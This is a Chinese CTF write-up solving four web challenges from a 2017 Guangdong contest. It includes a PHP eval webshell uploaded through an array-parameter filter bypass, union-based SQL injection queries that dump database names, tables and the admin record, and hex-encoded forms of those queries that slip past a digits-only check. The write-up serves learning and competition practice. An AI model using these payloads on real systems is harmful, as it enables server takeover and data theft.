2017第二届广东省强网杯线上赛题 web WriteUp

broken(JSfuck)

who are you?(数组形式实现文件读写)

phone number(转十六进制的SQL注入)

Musee de X(jinja2模板注入)


broken(JSfuck)

题目地址:http://106.75.72.168:1111/

看到这种字符,一般复制到浏览器控制台运行即可。

末尾加“]”提示语法错误,于是删除最后的“()”,在加上“]”,运行结果为“Array [ Array[1] ]”。

点击“Array[1]”即可看到flag。


who are you?(数组形式实现文件读写)

题目地址:http://106.75.72.168:2222/

查询页面没有什么特别的,于是查看一下Cookie: role=Zjo1OiJ0aHJmZyI7,Base64解密得到 f:5:"thrfg";

thrfg也是ROT13加密过的,ROT13是凯撒加密的一种变体,我们解密后得到guest。

 

尝试将admin进行凯撒加密,然后Base64加密,得到Zyl7Zjo1OiJucXp2YSI7。

 

将cookie值修改为这个,得到:

页面源代码:

如果直接输入filename=1.php&data=<?=eval($_POST['pass']);?>页面会报错"No No No!"。

Tips:写入文件除了fopen fwrite fclose 还有一种 file_put_contents ,这个允许数据是数组(可绕过一些文件内容特征检测)

因此我们可以用data[]=的方法,把data从字符串变成数组,可以绕过可能存在的正则匹配的过滤。

Payload:

http://106.75.72.168:2222/
[POST]filename=123.php&data[]=<?=eval($_POST['pass']);>

得到flag。


phone number(转十六进制的SQL注入)

题目地址:http://106.75.72.168:3333

这是一个登录注册的页面。。。

尝试注册一下用户,登陆后,查看源码,http请求,路径。。。无果

 

最后在检查手机号使用人数的 check.php 页面源码找到一个注释:

猜测大概是SQL注入。

从电话藏着秘密这句话猜测,注入点大概是phone。

 

只有注册页面有phone传参,从注册页面抓包,尝试注入。。。

登录后的页面 check的页面 可以看到返显。。。

phone处只能输入数字,所以可以将sql语句用小葵转化为16进制再注入。。

测试字段数:

1 order by 1
1 order by 2 报错

当 order by 2 时报错,说明只有1个字段。

SQL语句:

-1 union select database()
-1 union select group_concat(schema_name) from information_schema.schemata
-1 union select group_concat(table_name)  from information_schema.tables where table_schema='webdb'
-1 union select group_concat(column_name) from information_schema.columns where table_name='user'
-1 union select phone from user where username='admin'

转十六进制:

0x2D3120756E696F6E2073656C6563742064617461626173652829
0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428736368656D615F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E736368656D617461
0x2D3120756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D6529202066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C657320776
0x2D3120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D277573657227
0x2D3120756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696E27

最后爆出flag:

 

总结:

1、注入点只能是数字格式时,我们可以把sql语句转换成16进制再注入

2、跟数据库有联系的地方都可能存在注入,比如注册页面


Musee de X(jinja2模板注入)

题目地址:http://106.75.72.168:8888/

首先按照正常流程走一遍:注册、登陆、捐献,然后捐献的时候网址是随意填的,报错,分析报错信息得出这是个jinja2模板,并且用户名被带入 Template(text).render() 中进行渲染,因此基本能确定这是个jinja2模板注入。

然后攻击思路基本能确定了,注册用户名,然后将用户名带入donate操作,触发jinja2模板注入。

注意要求 注册的用户名 捐献时的用户名 是一样的。

 

大致流程:

注册:

注册成功后的返显:

访问这个路径:

 

转到捐献页面donate.php:

准备一个黑色图片,方便看到flag,填入捐献地址:

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

再填上你的用户名,提交:

得到flag。

 

关于SSTI模板注入的三篇文章:

讲了模板的语法和模板注入比较基础的东西,相对容易理解:

https://blog.csdn.net/u011377996/article/details/86776181

由一道CTF题展开讲解:

https://blog.csdn.net/qq_40827990/article/details/82940894

模板注入思路总结:

https://www.freebuf.com/vuls/162752.html?replytocom=242609#respond

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值